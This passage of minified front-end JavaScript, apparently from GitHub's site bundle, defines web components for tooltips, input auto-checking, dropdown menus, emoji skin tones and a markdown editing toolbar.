r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const 